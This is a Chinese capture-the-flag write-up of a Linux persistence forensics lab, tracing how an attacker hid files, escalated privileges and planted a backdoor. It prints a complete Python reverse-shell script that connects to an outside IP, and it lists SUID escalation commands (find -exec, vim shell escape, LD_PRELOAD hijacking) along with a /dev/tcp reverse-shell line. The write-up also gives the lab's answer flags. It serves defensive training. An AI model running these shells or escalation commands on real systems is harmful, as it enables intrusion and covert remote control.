玄机——第三章 权限维持-linux权限维持-隐藏练习
第三章 权限维持-linux权限维持-隐藏
步骤 #1
黑客隐藏的隐藏的文件 完整路径md5
1、分析题目
找隐藏文件,那就来找.开头的文件,因为在Linux中.开头的文件为隐藏文件
2、解题
查找文件
find / -name ".*"
发现了可疑之处,/tmp里有隐藏文件(一般黑客写入shell攻击者上传的恶意软件在运行过程中,可能会在 /tmp 目录创建隐藏文件,用于存储恶意软件的配置信息、缓存数据或者作为进程间通信的工具)
libprocesshider 通常是一种用于隐藏进程的工具,这里就非常可疑了
查看该文件夹的所有文件,发现了一个python文件
查看1.py 文件
#!/usr/bin/python3import socket,subprocess,os,sys, timepidrg = os.fork()
if pidrg > 0:sys.exit(0)os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:sys.exit(0)while 1:try:sys.stdout.flush()sys.stderr.flush()fdreg = open("/dev/null", "w")sys.stdout = fdregsys.stderr = fdregsdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sdregs.connect(("114.114.114.121",9999)) #TCP 连接,用于数据传输os.dup2(sdregs.fileno(),0)os.dup2(sdregs.fileno(),1)os.dup2(sdregs.fileno(),2)p=subprocess.call(["/bin/bash","-i"])sdregs.close()except Exception:passtime.sleep(2)
重定向标准输入 / 输出 / 错误
os.dup2(sdregs.fileno(),0) # 标准输入 → 套接字
os.dup2(sdregs.fileno(),1) # 标准输出 → 套接字
os.dup2(sdregs.fileno(),2) # 标准错误 → 套接字
效果:将 Shell 的所有输入输出都通过网络传输,实现远程交互。
再继续查看接下来的文件,直到processhider.c文件,里面指定了隐藏进程1.py,那么1.oy就是黑客想要隐藏的文件
那么隐藏文件的完整路径为 /tmp/.temp/libprocesshider/1.py
flag为 flag{109CCB5768C70638E24FB46EE7957E37}
步骤 #2
黑客隐藏的文件反弹shell的ip+端口 {ip:port}
在1.py文件里可以看到IP和端口
则flag为 flag{114.114.114.121:9999}
步骤 #3
黑客提权所用的命令完整路径的md5 flag{md5}
1、分析题目
这里又是提权,一种常见的提权手段是SUID提权
SUID(Set User ID)是 Linux 文件权限的一种特殊标志,仅对可执行程序有效。当程序设置 SUID 权限后,普通用户执行该程序时,进程会临时获取程序所有者的权限,而非执行用户的权限。
常见的权限示例:/bin/ping程序,它的所有者是root,且设置了SUID 权限。普通用户执行ping时,进程以root权限运行。
常见 SUID 提权的攻击场景
-
利用程序漏洞执行命令
有漏洞的find命令
若find设置了 SUID 权限,黑客可通过-exec参数执行任意命令:
find . -name "anyfile" -exec /bin/sh -c "whoami" \; # 以SUID所有者权限执行命令
恶意使用vim
若vim为 SUID 程序,可在vim中直接调用 shell:
vim -c ":!bash" # 打开具有SUID权限的shell
-
动态链接库劫持
原理:SUID 程序运行时若依赖某个动态库,且系统未严格限制库文件搜索路径,黑客可在自定义路径下创建同名恶意库,程序加载时会执行恶意代码。
黑客创建恶意库/tmp/libexample.so,内容为提权命令。
设置环境变量LD_PRELOAD=/tmp/libexample.so,运行 SUID 程序时,恶意库被加载,实现提权。 -
利用 SUID 脚本文件
若 SUID 权限被错误地赋予脚本文件(如.sh),黑客可修改脚本内容,插入恶意命令。#!/bin/bash echo "正常脚本" #修改后: #!/bin/bash /bin/bash -i >& /dev/tcp/黑客IP/端口 0>&1 # 反向shell提权
2、解题
find / -type f -perm -4000 2>/dev/null # 列出所有SUID程序
发现了这个典型案例find
ls -l /usr/bin/find
ls -l
:以长格式显示文件详细信息(包括权限、所有者、修改时间等)
可以看出find确实是被提权了
那么完整路径为 /usr/bin/find
那么flag为 flag{7FD5884F493F4AAF96ABEE286EE04120}
步骤 #4
黑客尝试注入恶意代码的工具完整路径md5
1、分析题目
en思路断了,查看了一些大佬的wp
2、解题
找到之前的隐藏目录
find / -type d -name ".*" 2>/dev/null #查看所有隐藏目录
**Cymothoa **后门工具:这是一款隐秘的后门工具,可将 shellcode 注入到现有进程中,从而实现后门植入。它利用 ptrace 库来操作进程,能够把 shellcode 伪装成常规程序,使后门程序与被注入程序共存。
**/opt **是一个用于存放可选软件包 的标准目录。它的设计初衷是为那些未被系统默认安装的第三方应用程序提供统一的存储位置。
查看该目录下的文件,找到该后门工具
那么尝试注入恶意代码的工具完整路径为/opt/.cymothoa-1-beta/cymothoa
,则flag为 flag{087C267368ECE4FCF422FF733B51AED9}
步骤 #5
使用命令运行 ./x.xx 执行该文件 将查询的 Exec**** 值 作为flag提交 flag{/xxx/xxx/xxx}**
1、分析题目
这里所说的运行./x.xx文件,应该就是之前找到的1.py文件,用python3来执行。
Exec 相关字段,通常用于查看程序执行时的权限设置。这些字段通常可以在文件系统的详细信息(如 ls -l
命令的输出)
2、解题
python3 /tmp/.temp/libprocesshider/1.py
查看网络连接情况
netstat -antp
此时可以注意到114.114.114.121这个前面找到的反弹shell的IP
which python3
which
:这是一个用于定位可执行文件路径的命令
要Exec值,那么
ls -l /usr/bin/python3
则flag为 flag{/usr/bin/python3.4}
参考文章
玄机——第三章 权限维持-linux权限维持-隐藏 wp
Inv0ker_wp